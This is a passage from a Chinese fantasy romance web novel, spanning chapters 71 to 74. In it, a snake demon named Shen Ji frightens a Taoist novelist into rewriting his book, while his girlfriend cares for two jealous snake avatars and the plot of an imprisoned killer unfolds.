嗯? 怎么香香的…… 他在里面偷偷吃什么好东西了? 沈寂盯着它看了两秒,总觉得事情变得有些难办。 不过很快他就想到了一个绝佳的点子。 他微微俯身端详着大白蛇,喃喃自语道:“两条笨蛇放到一起应该不会出什么问题吧……” …… 律师的话让纪云飞几乎彻夜难眠,第二天一早雨刚停,他就已经迫不及待下山,准备去见一见路锡鸣的律师。 警方最开始只是调查路锡鸣开车撞死兰智正的案件,可是没想到后面又在兰智正的手机里找到了路锡鸣曾经诱导他人自杀的证据,警方干脆顺藤摸瓜,又摸到了路锡鸣的家里,拿到了不少的物证。 由于路锡鸣和兰智正两人一向走得很近,外加兰智正在外面欠了巨额的高利贷,警方认为事情的经过应该便是兰智正在机缘巧合下发现了路锡鸣诱导他人自杀,并借此向路锡鸣勒索钱财,最后被路锡鸣开车撞死。 这样的推理一环接着一环,完全符合情理和逻辑,看起来天衣无缝。 可是路父路母却并不这么想,他们实在没办法把先后害死了四个人的杀人犯和自己的亲生儿子联系到一起,再结合路锡鸣进看守所后的言行,他们一心认为路锡鸣是被什么妖物给夺舍了。 律师如今是两头为难,一方面实在没办法从路锡鸣那里得到有效的信息,另一方面还要想尽办法哄着路父路母,让他们不要提前抓狂。 他想让正泽大师下山的目的很简单,那就是能编出一套说辞来暂时给路锡鸣打一份镇定剂,好让自己的工作能够继续顺利推进下去。 所以在他看到是染着绿毛的纪云飞孤身一人过来的时候,他虽然意外,但是也没有追究。 “事情的大致经过就是这样。” 律师把纪云飞带到了路锡鸣曾经的住处,叹气道:“很多东西被警方拿走了,你就大致看一下就行,说点什么风水啊或者八字之类的,我到时候转述给路先生。” 他是坚定的唯物主义者,不信这些所谓的鬼神之说,所以把路锡鸣的一系列行为当做是为了掩盖真相的自我逃避。 纪云飞绕着空荡荡的房子转了一圈,他眉头紧皱,奇怪道:“我在这里倒是没有发现什么属于蛇妖的妖气,倒是蟑螂……” 他顿了顿,委婉道:“与其说是蛇妖,路锡鸣应该担心的是蟑螂精之类的吧。” 律师思索片刻,认可道:“路先生确实因为家里突然出现的蟑螂心神不定,后来引发精神崩溃。” 纪云飞思来想去,从风水八字星象上给了律师一个相对来说完美的说辞,好让他可以去看守所交差。 路锡鸣的罪行几乎已经是板上钉钉,哪怕路家在庭外和受害者家属达成和解,他也不会轻易脱罪。 律师把纪云飞的话原封不动地告诉了路锡鸣,他这两天看起来似乎冷静了不少,只是整个人看起来还是很憔悴,那头曾经耀眼夺目的金发现在像枯草一样乱蓬蓬的。 “你是说我没有被蛇妖缠上?是正泽大师亲口说的?” “是,我亲耳听到他这么说的,路先生,你要是方便的话,可以把当时发生的事情再跟我详细地说一遍吗?” 路锡鸣闻言沉默了片刻,许久才开口道:“……那天我明明是想开车去撞沈寂的。” 兰智正的手上拿来威胁他的证据是沈寂给的,他房间突然出现的蟑螂也是沈寂做的,正泽大师之前说过,他是和蛇妖有所交集才会这么倒霉,他脑子里第一个浮现的就是沈寂的脸。 他所有的一切都被沈寂和兰稚青毁了,在此之前,他是人人艳羡的高材生富二代,所有人都捧着他,偏偏是在沈寂出现之后,他看中的猎物被抢走,名声也一败涂地,甚至还惹上了官司。 路锡鸣忘不了自己看到学校论坛帖子时那股愤怒。 兰智正明显是受到了沈寂的主使,他先是放出了他虐猫虐狗以及在学校投毒的证据,让他本来就已经濒临崩溃的形象彻底破裂,之后又似是而非说一些有关当年的命案,暗示这些事情和他脱不了干系。 曾经他教着兰智正如何去论坛上发黑贴污蔑沈寂,现在却全部都反噬到了自己的身上。 而这所有的一切,全都是沈寂害的。 路锡鸣精神被逼到了绝境,几乎每天晚上闭上眼睛都能梦到那些人和猫猫狗狗站在自己的床前,被他诱导自杀的人类对他施以酷刑,被他虐杀投毒的猫猫狗狗咬下他的皮肉。 路锡鸣忍无可忍,他想只要沈寂死了或许一切就都会回归正轨,所以才决定对沈寂下手,他租了一辆大货车,赶在沈寂和兰稚青过马路的时候踩下了油门。 “我不知道为什么死的人会变成兰智正,我真的不知道为什么,我当时明明看到的就是沈寂啊,怎么会突然变成兰智正……” 路锡鸣扯着自己的头发,崩溃道:“他没死……他又没死成!为什么他就不能去死!” “叶律师,你帮我去问问正泽大师,到底怎么才能弄死沈寂,我花多少钱都行!只要能杀了沈寂,多少钱都行!” 路锡鸣情绪激动重重拍着玻璃,警卫见他情绪失控只能把他强行带走。 律师拿出纸巾擦了擦自己额头上的汗,只觉得自己从来没赚过这么难的钱。 : 他把下山费用给纪云飞一次结清,可是纪云飞却并没有收,他本来打算直接回去,可是思来想去总觉得路锡鸣的身上是个突破点,所以又特地骑车去看守所想要再碰碰运气。 可是一辆黑色的车子却突然窜到了他的面前,直接挡住了他的路,纪云飞差点被撞倒,他刚要张嘴骂人,可是车窗却缓缓降下。 纪云飞猝不及防对上了沈寂冷淡的面容,他的大脑一片空白,只有四个大字飞速闪过。 吾命休矣。 …… 兰稚青早上是被外面咚咚的敲门声吵醒的。 沈寂今天要去学校开会,所以一大早就离开了,现在会在这个时候敲门的,她思来想去只能是那条大白蛇。 兰稚青简直欲哭无泪了,虽然沈寂再三保证过自己已经和大白蛇沟通过了,它不会再做出伤害她的行为,但是当初的阴影还在,她实在是心有余悸。 如果开了门,她又要和大白蛇共处一室,如果不开门的话,它就会在外面一直敲。 兰稚青没办法,只能先把门打开一个小 缝,想要观察一下大白蛇今天的心情状态怎么样。 守在外面的白蛇头上还戴着红色的小帽子,看到兰稚青开门立马高兴地晃了晃尾巴 嘿嘿,小飞蛇又回来喽! 白蛇像离弦之箭一样朝兰稚青飞了出去,而后像牛一样把它刚刚痊愈的妈妈又撞到了地上。 兰稚青闷哼了一声,幸好地上还铺着柔软的地毯减缓了一部分的冲击力。 可是她顾不上自己的疼痛,反而是仔细扒拉了一下趴在自己身上的白蛇,惊喜道:“蛇蛇,这次真的是你。” 虽然都是大胖蛇,可是小白蛇的脑袋看起来比较圆,眼睛看起来比较呆萌,体长要短了一截,更重要的是,它的头上还戴着她送给它的小帽子。 兰稚青从前不觉得自己这么喜欢小白蛇,但是自从会打人的大白蛇出现之后,兰稚青看它简直就是像在看什么优等生。 小白蛇趴在她的身上吐着信子,一人一蛇久别重逢,相处得格外融洽。 大白蛇对此全然不知,它一直数着钟表上的时间指向九这个数字的时候才小心翼翼蹭到了卧室的门口。 宝宝蛇现在应该起床了吧…… 大白蛇发现卧室的门没有关紧,它用尾巴轻轻推开了门,刚刚想要给兰稚青一个惊喜,却发现她的怀里已经抱着另一条蛇了。 它呆滞地站在门口,难以置信看着眼前令蛇心碎的场景,几乎不敢相信自己的眼睛。 虽然大家身上都是分身,但是它还是本能对着小白蛇露出了毒牙,它对兰稚青露出毒牙只是出于恐吓和警告,但是对自己却毫不留情,张嘴就打算去咬。 小白蛇不甘示弱,它虽然体型比大白蛇小了很多,但是依旧不妨碍它对大白蛇的敌意。 蛇咬蛇会不会把对方给毒死…… 兰稚青实在不清楚这个问题的答案,她只能先带着小白蛇一起缩到了角落,争取不去激怒大白蛇,造成更坏的后果。 大白蛇似乎也意识到了兰稚青更偏心小白蛇,它自己盘踞在床边,也失去了再去争抢的兴致,只是趴着脑袋垂头丧气地盯着他们。 家里有了别的蛇,宝宝蛇不喜欢它了…… 它看着兰稚青和小白蛇其乐融融地相处,他们一起坐在地毯上看视频,兰稚青把苹果仔细削皮,切成小块喂到了小白蛇的嘴里,到最后又困了干脆直接枕着它睡觉。 可是它却像是一条局外蛇一样只能眼巴巴地看着。 它也很想吃宝宝蛇削的苹果,可是宝宝蛇根本就没注意到它。 大白蛇觉得自己有些委屈,它看到兰稚青和小白蛇似乎都已经睡着了,这才小心翼翼凑了过去,叼走了果盘里的苹果核。 小偷蛇! 偷吃他苹果的小偷蛇! 小白蛇在大白蛇凑过来的第一时间就发现了,它下意识想要用尾巴去打它,可是却忘了兰稚青海靠在它的身上,它一动,兰稚青也跟着醒了。 兰稚青有些迷茫地睁开眼睛,看到突然出现在她面前的大白蛇吓了一跳,她刚刚想说些什么,可是又看到大白蛇嘴里含着的苹果核。 她愣了一下,试探问道:“你也喜欢吃苹果吗?” 大白蛇不知所措叼着嘴里的苹果核,闻言有些迟疑地点了点头。 兰稚青把苹果核从它的嘴里拿了出来,重新又削了一个苹果切成小块喂到它的嘴里。 小白蛇在旁边急得团团转,恨不得现在就上去咬大白蛇一口。 那是妈妈给它切的苹果! 兰稚青没办法,只能左边喂完了喂右边,活得活像是个动物园里的饲养员。 她叹了口气拍了拍蛇的脑袋,小声道:“给你们取个名字区分一下吧……你是大宝,你是二宝。” 大白蛇闻言歪着脑袋思索了一下。 这条蛇是沈寂的分身,它也是沈寂的分身,也就是说这条蛇是它,它就是这条蛇,可是这条蛇喊宝宝蛇妈妈,宝宝蛇又喊他老公,如果这样算下来的话,那它不就是这条蛇的爸爸吗? 等一下,好像不太对劲。 它为什么会当了它自己的爸爸……? 第72章 第72章他们应该是一家三口…… 纪云飞觉得自己从来没有像现在这样绝望过。 他战战兢兢坐在沈寂的对面,手指摸索着摸到放在衣兜里的手机,时刻做好准备报警的准备。 就在一个小时之前,沈寂突然出现在他的面前说要请他喝茶。 纪云飞是真的怀疑如果拒绝,可能自己这辈子都没有再喝茶的机会了,所以只能硬着头皮答应下来。 而这一行为造成的局面就是,沈寂坐在对面翻着他写的悬疑小说,他则是像个长了虱子的猴子一样坐立不安。 沈寂似乎察觉到了纪云飞的手足无措,他似笑非笑地抬了抬眼,意有所指道:“你很紧张吗?” “不……不是,其实也没有这么紧张。” 纪云飞咽了咽口水,小心翼翼道:“沈先生,那个……我写的小说怎么会在……” 你的手里。 剩下的四个字纪云飞没有继续说下去,他觉得自己问这句话纯属多余,沈寂估计早就把他查了个遍,别说他写的小说了,估计连他奶奶养的小狗生了五只崽都知道得一清二楚。 沈寂没有回答纪云飞的问题,他翻着手里的文件夹,不知道为什么眉头紧缩,甚至还拿起手机突然发了消息。 坏了,沈寂不会是看得太生气了打算让人做掉他吧?! 纪云飞整个人像是触了电一样陡然紧张起来,就连掌心都沁出了冷汗。 Schlange:【宝宝,不要再给蛇喂东西吃了。】 他人还在茶室坐着,一口茶都没来得及喝,现在就已经莫名其妙的饱了。 我是小皇帝(约稿请看置顶版):【?】 我是小皇帝(约稿请看置顶版):【警觉.jpg】 我是小皇帝(约稿请看置顶版):【你怎么知道我在喂蛇,你在房间里装监控了吗?】 Schlange:【没有装监控。】 Schlange:【我是猜的啦>w<】 纪云飞一直在盯着沈寂的一举一动,他觉得自己后背都要被冷汗浸透了,难得有能近距离观察沈寂的机会,按理说他应该把握时机多多观察一下对方有没有什么漏洞才对。 可是现实和理想总归是有差距的,即使他计划得再美好,可是现在面对面看沈寂,只觉得他是一个潜在的危险分子。 纪云飞颤颤巍巍端起了茶杯,刚刚准备喝点茶压压惊,可是清澈的茶水之中却突然倒映出一条白蛇的影子。 他难以置信地抬起了头,发现面前的沈寂突然扭曲成了一条巨大的白蛇,张开血盆大口直接朝他袭来。 咔嚓—— 瓷器破碎的清脆声音突然响起。 纪云飞如梦初醒,他茫然环视了一圈四周,发现自己一个人孤零零坐在位置上,对面的沈寂早就消失得无影无踪。 守在外面的服务生听到动静敲了敲门,见到满地的狼藉连忙进来收拾,纪云飞愣了一下,奇怪问道:“不好意思,请问你有看到和我一起来的那位先生吗?” “沈先生半个小时前就已经离开了。” “……什么?” 纪云飞难以置信地眨了眨眼,他刚刚想再继续问下去,可是下一秒面前的服务生却露出了诡异的微笑,它变成一条色彩斑斓的毒蛇,直接死死缠上了纪云飞。 他感觉自己的呼吸渐渐变得困难起来,大脑一片空白,甚至连周围的声音都已经渐渐听不清。 沈寂随手翻了一页手里的小说,完全无视了坐在自己对面几乎快要口吐白沫的纪云飞。 直到纪云飞即将昏厥的前一刻,他才轻轻打了个响指,结束了这场漫长的折磨。 “咳咳……咳……” 纪云飞劫后余生,他狼狈捂着自己的脖颈,似乎还没有意识到刚刚发生了什么。 “纪道长,你没事吧?” 沈寂轻轻合上了手中的文件夹,他上下打量了一眼纪云飞,好心提醒道:“喝水的时候要小心一点,小心呛死。” 纪云飞一脸警惕,他意识到所有的一切都是沈寂制造出来的幻觉,下意识握紧了随身携带的符咒。 在今天之前,他还在犹豫沈寂的真实身份,而现在沈寂的所作所为几乎是毫不掩饰。 现在在他面前的,的确是蛇妖。 “纪道长,你的道行不深,怎么写的小说也这么无聊。” 沈寂慢条斯理地抿了一口茶,淡淡道:“我以为我们之间是可以井水不犯河水的。” “你……” 纪云飞张了张嘴,可是却没办法再发出任何的声音,整个人都像是个木偶人一样 僵坐在座位上。 他终于明白路锡鸣会这么执着于说沈寂是蛇妖的原因,可是现在却已经晚了。 只要沈寂动一动手指头,他可能就会像路锡鸣一样陷入幻境,而后无声无息地了结掉自己的性命。 沈寂扫了一眼手机屏幕,在按下接通键的瞬间语气瞬间变得温柔,“乖乖,怎么了?” “你什么时候回来啊?” 兰稚青看着眼前快打成死结的两条蛇,头疼道:“家里的蛇打起来了。” 原本她给蛇分苹果吃的时候还是很和谐的,可是后来不知道为什么,大白蛇用尾巴打了小白蛇一下,小白蛇张嘴咬了大白蛇一口,两条大胖蛇就这么缠在一起打起来了。 “打起来了?” “唔唔唔呜呜呜呜呜呜!” 纪云飞听到电话那头兰稚青的声音,他试图发出些许声响吸引她的注意力。 兰稚青听到了奇怪的声音,她纳闷道:“什么声音,你现在在哪里啊?” “宝宝,我在路上了,可能是喇叭声吧。” 沈寂轻描淡写把事情敷衍了过去,他再度岔开话题,随口道:“他们打架就打架吧,你就不要管他们了,我一会儿就回去。” “好吧,那你要快点回来哦。” 兰稚青挂断了电话,纪云飞的眼神彻底变得绝望,他看着坐在自己对面的沈寂,觉得自己大限将至。 “纪道长,我给你两个选择。” 沈寂把纪云飞写的小说扔到了他的面前,云淡风轻道:“要么我给你付稿费,你把小说的破结局给改了,要么我现在送你上路,之后另外找人改结局,版权费清明节的时候会一并烧给你。” 纪云飞闻言愣了一下,他张嘴想要说话,可是脸都急得通红也硬是没憋出半个字来。 沈寂暂时解除了他的禁制,纪云飞的语言功能终于恢复,他有自己的坚持,即使被沈寂这么胁迫也没有丝毫的惧怕,冷笑道:“我要是真的爱钱的话就不会去当道士了,我有自己的艺术坚持,大不了你就杀了我。” “我出这个数。” “好的哥,你说怎么改我就怎么改。” …… 虽然沈寂说了让她不用管蛇打架的事情,但是兰稚青害怕它们再打真的会受伤,还是硬生生强行把它们两个给分开。 小白蛇的小红帽都被蹭掉了,大白蛇一直用尾巴死死压着不愿意还给它,兰稚青没办法,只能重新又织了一顶小黄帽戴到了大白蛇的头上。 现在两条蛇都有了帽子,还特地划分了领地,就连吃的食物都平均分开,兰稚青把它们带到影音室,找出了小白蛇之前最喜欢的《小飞蛇历险记》,两条蛇看得津津有味,终于收获了短暂的和平。 好累…… 拉架很累,拉两条超级大胖蛇的架更累。 兰稚青仰躺在柔软的沙发上,她吸了吸鼻子,神色隐隐有些诧异。 刚刚在卧室的时候她还不觉得有什么,现在到了空间更密闭的影音室,她总觉得一直能闻到沈寂身上的香味。 兰稚青把正在看电视的小白蛇抓过来闻了闻,小白蛇下意识想要用脑袋蹭她,兰稚青松开了它,又伸手把大白蛇抓过来闻了闻,大白蛇虽然有点疑惑,但还是乖乖任由她摆布。 “奇怪,你们三条蛇怎么都是一个味道的……” 兰稚青有些纳闷,她靠在沙发上打了个哈欠,动画片的音效像是催眠的摇篮曲,她本来只是想闭眼休息一下,结果没过两分钟就真的陷入了沉睡。 宝宝蛇又睡着了! 大白蛇发现兰稚青呼吸逐渐变得均匀,它悄悄用自己的尾巴尖尖缠住了她的手腕,无比幸福地吐了吐信子。 宝宝蛇是它的老婆,但又是这条坏蛇的妈妈,所以说它就是这条蛇的爸爸,综上所述他们应该是一家三口。 至于沈寂…… 他不是老公,也不是儿子。 ……所以他是这个家的第三者吗? 第73章 第73章我不要吃罐罐 “人,你醒醒,快醒醒……” 兰稚青迷迷糊糊睁开了眼睛,发现一个狗头人站在她的面前,狗脸上满是担忧。 等一下,狗头人? 这又是给她干哪来了?! 兰稚青一脸茫然,却听到狗头人抬头对远处喊道:“少爷,这边有人类,还是活的。” 兰稚青越听越觉得懵,她还没来及问清楚到底发生了什么,自己便突然像是被抓住的小猫小狗一样从后面拎了起来。 沈寂仔细端详了一下她,似乎也对她的出现感到诧异,奇怪道:“居然真的是一只人类。” 一只……人类? 兰稚青觉得自己的衣领勒住了脖子,她有些不适地挣扎了两下,沈寂见状连忙小心翼翼把她放了下来。 “小宝贝,你家饲主在哪里啊?” 沈寂捏了捏她的脸,又抓起她的手摇了摇,温声道:“你是不是不小心从笼子里跑出来了?” “……什么?” 兰稚青眨了眨眼,一时大脑都有些宕机,她盯着沈寂的脸发了会儿呆,后知后觉意识到这好像并不是沈寂。 不对,更加准确来说,面前的这个人好像是更加年轻一些的沈寂,他的五官倒是没有什么太大的变化,只是气质看着更加温柔斯文,像是一位教养良好的贵族。 “你好聪明啊,竟然还会说话。” 沈寂听到兰稚青会说话明显有些惊喜,他上下打量了一眼兰稚青,问道:“这也是你的饲主教你的吗?” 兰稚青张了张嘴,有些迟疑道:“我……我没有饲主。” “没有饲主?你是流浪人吗?” 沈寂闻言顿时眼前一亮,他脱下了自己的外套把兰稚青仔仔细细裹了起来,轻声道:“那你先跟我回家吧,我给你开罐罐和小人条吃。” 兰稚青茫然被沈寂抱回了家里,沈寂的家是一座巨大的庄园,狗头人是这里的管家,负责在外面修剪树木花草的是猴子园丁,偶尔路过的佣人有狐狸有猫有狗,就连送快递的都变成了猫头鹰。 家里除了沈寂之外,还住着两条大白蛇,体型大的那条戴着小黄帽,体型小的那条戴着小红帽。 它们看到沈寂把兰稚青抱了回来,有些兴奋地围着她吐起了信子。 是人类诶,是活的人类! 刚到新家的人类一般都比较怕生,沈寂害怕兰稚青被蛇吓到,所以一直把她抱在怀里,让啄木鸟医生过来帮她检查身体。 “来,张开嘴巴,姐姐看看牙齿。” 兰稚青不情不愿被沈寂捏着张开嘴,啄木鸟医生拿着手电筒仔细检查了一遍,满意道:“连蛀牙都没有,少爷,这是个超级健康的人类妹妹。” 沈寂摸了摸她的脸颊,发现兰稚青并没有什么反应,他弯了弯眉眼,夸奖道:“好乖哦小宝贝,我还是第一次见到你这么可爱的人人呢。” 由于他们家少爷突然要养人类,**家只能匆匆去买了一堆人类用品,什么人粮,人罐罐,人零食,人玩具,一股脑都买了回来。 “好了,乖乖宝贝,我们先吃饭吧,你一定饿坏了对不对?” 沈寂抱着兰稚青坐到椅子上,他按照人类科学饲养的标准给她先倒了一碗优质白米饭做的高级人粮,然后拿出几个罐罐放在她面前让她挑选。 “宝宝,你是想吃这个地三鲜罐罐,还是想吃这个酿豆腐罐罐?” 兰稚青盯着面前的罐头陷入了沉默。 为什么都是一堆预制菜?! 兰稚青没什么胃口,她恶狠狠把所有罐罐又推了回去,沈寂见状愣了一下,他又重新拆开了一个袋子,“不喜欢吃罐罐吗,那先给你吃一根小人条好不好?” ……小人条? 兰稚青盯着沈寂递到自己面前的魔芋爽,觉得自己的世界观彻底崩塌了。 人拒绝了你投喂的小人条,并毫不犹豫转身离开。 沈寂眼疾手快把她又抱了回来,不太赞同道:“挑食是不好的,你在外面流浪的时候都吃什么了?” “我不要吃预制罐头,我要吃新鲜做的!” “原来你不喜欢罐罐,喜欢吃人饭呀。” 沈寂闻言倒是松了口气,他让山羊厨师先做一份人饭,自己抱着兰稚青先去了浴室,准备帮她洗一个澡。 反正之前沈寂也经常帮她洗澡,兰稚青对此接受良好,沈寂把她洗得香喷喷的,仔仔细细吹干了她的头发,给她换上了新的漂亮衣服,顺便还给她仔细剪了指甲。 大白蛇和小白蛇在外面探头探脑的,但是被沈寂嫌弃碍事一起都赶了出去。 它们在外面等了好半 天,终于等到沈寂抱着兰稚青出来。 大白蛇嘴里叼着一包薯片,据说这是现在市面上最受欢迎的人零食。 小白蛇用尾巴尖尖卷着一个游戏机,网上都说人最喜欢玩游戏了。 兰稚青趴在床上等着开饭,大白蛇和小白蛇见沈寂离开,它们迫不及待凑到了兰稚青的面前,对着她又闻又蹭。 好好闻,人身上一股香喷喷的小人味。 兰稚青生无可恋被两只超级大胖蛇拉过来拉过去,她觉得自己的意识就紧跟着越来越沉,好像一闭上眼睛就能睡着…… “宝宝,醒一醒……” 兰稚青听到熟悉的声音一直在自己的耳边响起,她有些茫然地睁开眼睛,看到站在自己面前的沈寂愣了一下,她迷迷糊糊问道:“我的人饭做好了吗?” “……什么?” 沈寂闻言愣了一下,温声道:“怎么了,你是做什么梦了吗?” “……做了个奇怪的梦。” 兰稚青打了个哈欠,趴在沈寂的怀里小声道:“好像梦到了奇怪的世界,你看起来比现在更年轻。” 沈寂闻言愣了一下,刚刚想要继续说点什么,旁边的大白蛇突然一尾巴甩到了他的身上。 沈寂一时不察被它打到,他眼疾手快抓住了大白蛇的脑袋,却发现大白蛇昂首挺胸非常得意地吐着信子,丝毫没有半分悔过之意。 它这是在打小三!打小三是天经地义的事情! 沈寂也算是赶上好时候了,要是放在它那个年代,它都可以直接把沈寂发卖掉! 疯了,简直就是疯了。 沈寂恨不得现在就把它打成结丢出去,但是兰稚青却又把大白蛇抱住,不赞同道:“都和你说了不要打蛇,这样是家暴,不提倡的。” 不知道是不是梦里被当做宠物饲养的经历太过震撼,兰稚青对大白蛇小白蛇有了展示了前所未有的关爱。 沈寂觉得自己又做了个相当愚蠢的决定。 这个想法在他坐在餐桌前时达到了顶峰。 兰稚青坐在他的对面,她的左边是戴着黄帽子的大白蛇,她的右边是戴着红帽子的小白蛇,两条蛇乖乖盘坐在椅子上,看起来人畜无害。 “对了,我今天还顺便给你也织了一顶。” 兰稚青一向非常公平,她拿出一顶绿色的小毛线帽戴到了沈寂的头上,一脸期待道:“喜欢吗?” 好绿。 绿得就像是一片青青草原。 沈寂沉默了片刻,终于开口道:“为什么我的是绿的?” “因为红黄绿就是红绿灯嘛,这样看起来像是一个系列的。” 兰稚青美滋滋地坐回自己的位置,刚刚准备掏出手机来拍张照片留作纪念,可是银行却突然发来了一条到账短信。 她愣了一下,点开一看才发现是兰母转的钱,数额二十万,留言是车祸赔偿款。 兰稚青微不可察地皱了皱眉,沈寂察觉到了她的不对劲,连忙开口问道:“怎么了?” “……我妈刚刚给我打了二十万,说是车祸的赔偿款。” “那应该是路锡鸣父母给的和解金。” 沈寂帮兰稚青盛了碗汤,解释道:“路锡鸣父母为了能帮路锡鸣减罪一直在争取家属的谅解,据说是每家给了五十万。” 兰稚青闻言微怔,“……一条人命就只值五十万吗?” “韩晓的父母只是普通的农民,谭钰琳的父母一心掉进了钱眼里,而李杰十六岁的时候就父母双亡,对于这个结果,他们只能接受。” 沈寂顿了顿,又轻声道:“兰智正已经是个烂赌鬼了,他死了百利而无一害。” 兰母虽然伤心,但是心里又何尝不是松了口气。 “五十万里有十万给了兰智正,不过他被追债的人找上了门,估计钱是没了。” 兰稚青闻言神色有些复杂,她沉默了许久,最终还是把手机锁屏放到了一旁。 沈寂见状主动岔开了话题,随口道:“对了,我今天正好遇到了那个绿毛道士。” “纪云飞?” 兰稚青闻言顿时心生警惕,“你应该没把他怎么样吧?” “当然没有啊,我只是给他的小说提了一点点的意见。” …… “云飞,你终于回来了,怎么也不接电话,师父一直在找你呢。” 道观里的师兄看到纪云飞回来连忙迎了上来,压低声音道:“你到底是怎么想的,怎么瞒着师父下山去见客户了。” “就是一点小事,我想着没必要惊动师父。” “那你也得提前打声招呼啊,不然我们多担心。” 师兄看到纪云飞手里提着的电脑,了然道:“又去写你的大作了?” “这次可不一样,我觉得我这回是真的能赚到钱了。” 纪云飞嘿嘿一笑,乐呵呵道:“我只需要对着修改意见把稿子改改就行了。” 师兄调侃道:“真的假的,看来你这个金子终于要开始发光了啊。” 纪云飞得意一笑,他掏出手机翻了翻沈寂给他发来的消息,脸上的笑容渐渐消失。 “怎么了?” “……这个神经病给我发了318条修改意见。” 第74章 第74章我恐蛇 纪云飞觉得自己拿手机的手都在微微颤抖,沈寂有时间写这么多意见他为什么不直接自己写一本。 恍惚之间他好像又回到了自己被论文导师硬控的悲惨日子,当初他也曾经有一个学术梦,想要投身于实验室,发展自己的抱负。 然后导师给他论文的第一句批注就是:非常精彩的意识流小说,中文真的是你的母语吗? 自此之后纪云飞痛定思痛,他毅然放弃了自己的学术抱负,转而成为了一名穷得叮当响的道士。 “忍忍吧,毕竟钱难挣,屎难吃。” 师兄同情地拍了拍他的肩膀,安慰道:“你记不记得经常来咱们道观上香的那个胖大叔,他问我能不能花五百块把他儿子改成帝王命格。” 纪云飞不觉得自己有被安慰到,他沉默了片刻,幽幽道:“这个胖大叔找我的时候问我三百块能不能改。” 合着他还是便宜的那个。 师兄有些尴尬地笑了笑,刚刚想要岔开话题,正准备下山去找纪云飞的人看到了他,连忙催促道:“云飞!师父找你呢,你快点过去吧。” 纪云飞连忙应了一声,他把自己手里的电脑包交给师兄,让他先帮他放回住处,自己则是脚步匆匆准备去见正泽大师。 正泽大师此时正处于他最年轻最有活力的时期,他立于院中打了一套八段锦,只觉得自己浑身轻快,身上的每一寸经脉血肉仿佛都涌动着无穷无尽的活力。 这种重获新生的感觉让他着迷不已,坐在轮椅上的日子漫长而又煎熬,他无时无刻不想着重返青春,而真正回到这个时候,他又开始感到恐慌。 他害怕自己刚刚恢复的青春转瞬即逝,担心自己又会变得垂垂老矣,这种执念让他对长生不老的渴望达到了顶峰。 纪云飞在旁边看着正泽大师结束才终于开口出声,“师父,您找我有事吗?” 正泽大师瞥了他一眼,神色突然变得有点奇怪,直接问道:“你下山去见了那个路锡鸣?” “没有,我见的是路家请的律师,路锡鸣人在看守所 ,不能随便探视。” 纪云飞本来也没打算隐瞒,老老实实道:“路锡鸣精神不好,律师让我过去应付几句,我觉得这点小事没必要惊动师父,就自己去了。” 毕竟上一次正泽大师过去的时候还是一个垂垂老矣的老者,现在突然摇身一变年轻了这么多,但凡是个正常人都会有所怀疑。 白龙山道观里还有其他与他们毫不相干的道士,正泽大师平时大多都住在山下的房子里,即使住在道观也是足不出户,生怕自己的秘密会被发现。 纪云飞在他的弟子中年纪小,各种电子产品也玩得趁手,一般来说这种事情都是他下山去处理。 “路家的律师?他叫什么名字?除了他以外你还见了什么人?!” 正泽大师像是沙漠里终于找到水源的旅人,他猛然上前抓住了纪云飞的肩膀,脸色都因为激动而涨红。 “你见到他了是不是,你帮我找到那条蛇了,对不对,你一定是找到他了!” 纪云飞被他吓了一跳,他下意识想要挣脱,可是正泽大师却抓得极紧,他一时挣脱不开,只能耐心道:“师父,我真的不知道您在说什么。” 从师徒情谊上,他或许确实应该把沈寂的事情告诉正泽大师,可是现在的正泽大师看起来实在太过疯狂,他万一真的跑过去找沈寂,指不定会真的死在沈寂的手上 为了正泽大师的安全着想,纪云飞决定暂时先瞒下来,他低声道:“您放心,如果我之后发现了蛇妖的踪迹,一定会第一时间告诉您的。” 正泽大师闻言脸色陡然变得阴沉,他突然抬手扼住了纪云飞的脖颈,直接把他逼到了墙边。 纪云飞一时猝不及防,他呼吸都有些不畅,难以置信盯着面前熟悉又陌生的人。 “你还敢骗我!我都闻到了,我在你身上闻到他的味道了!” 正泽大师双目赤红,逼问道:“你是不是想要和我抢,你就是想抢在我的前面长生不老!” 纪云飞试图挣扎,可是他由于过度缺氧,完全使不上力气,只能徒劳死死瞪着眼前的正泽大师。 “师父?!” 过来给正泽大师送饭的师兄看到眼前的景象吓了一跳,他连忙把手里的托盘放到一旁,冲上去硬生生把两人分开。 纪云飞终于被救了下来,他的大脑一片空白,本能扶着墙大口大口地呼吸着新鲜空气,脖子火辣辣泛着的疼痛无声提醒着他刚刚发生的一切。 真他大爷的到了八辈子血霉了,今天这都是第一次了,动不动就勒他的脖子,真把他当烧鹅了吗。 正泽大师似乎也意识到自己的失态,他阴冷的眸子盯着纪云飞半晌,冷冰冰道:“纪云飞,你可以下山了。” 师兄还没弄清楚到底发生了什么,只能先把纪云飞扶起来,关心道:“怎么样,你没事吧?用不用去医院?” 纪云飞眼底闪过些许失望,摇头道:“……我没事。” “你别在放在心上,刚刚师父就是生气随便一说,过一会儿他气消了我帮你去求求情……” “不用了,师兄,我这就回去收拾东西下山。” 纪云飞干脆道:“麻烦师兄也帮我和其他师兄说一声吧,往后就不用再准备我的饭菜了。” 他最开始只是觉得正泽大师有些魔怔,但是倒也可以理解他的心情,毕竟对死亡的恐惧是生物的本能。 可是正泽大师今天的所作所为却让他极为寒心,他不是魔怔,而是已经彻底走火入魔,为了能活下去,他真的会不惜一切代价。 师兄倒是还想要阻拦,但是奈何纪云飞去意已决,他也实在没办法,只能长叹了一口气,眼睁睁看着纪云飞离开。 纪云飞抬头最后看了一眼山上的夕阳,心中不禁有些怅然,忍不住掏出手机发去消息。 【老板,临时有事,能晚几天交稿吗?】 【扣钱。】 【……当我没说。】 沈寂回复完纪云飞的消息,随手把手机扔到了一旁,眉头紧皱地正趴在兰稚青身上的两条大胖蛇。 最开始把大白蛇放出来的目的是为了盯着兰稚青,后来把小白蛇放出来的目的是为了消解兰稚青和大白蛇的矛盾。 但是经过了这一番实验下来,他发现自己本该有的关注度又被分走了。 兰稚青带着两条蛇下午去花园里晒太阳,青翠的草地上铺着柔软的垫子,阳光透过树叶的缝隙落了下来,吹拂过身边的微风都夹杂着淡淡的花香。 按照沈寂的预想,他应该和他的乖乖相拥着靠在一起,一边欣赏着眼前秀丽的景色一边倾诉情话,然后情到深处口口口口口口口口口口口口口口口口。 可是实际上…… 兰稚青坐在垫子上陪着两条蛇搭积木,小白蛇尾巴不小心碰到了积木,立马委屈巴巴往兰稚青的怀里钻,兰稚青只能亲了亲它表示安慰,大白蛇在旁边不满地拍着尾巴,兰稚青又抱着它亲了两口展示自己的公平。 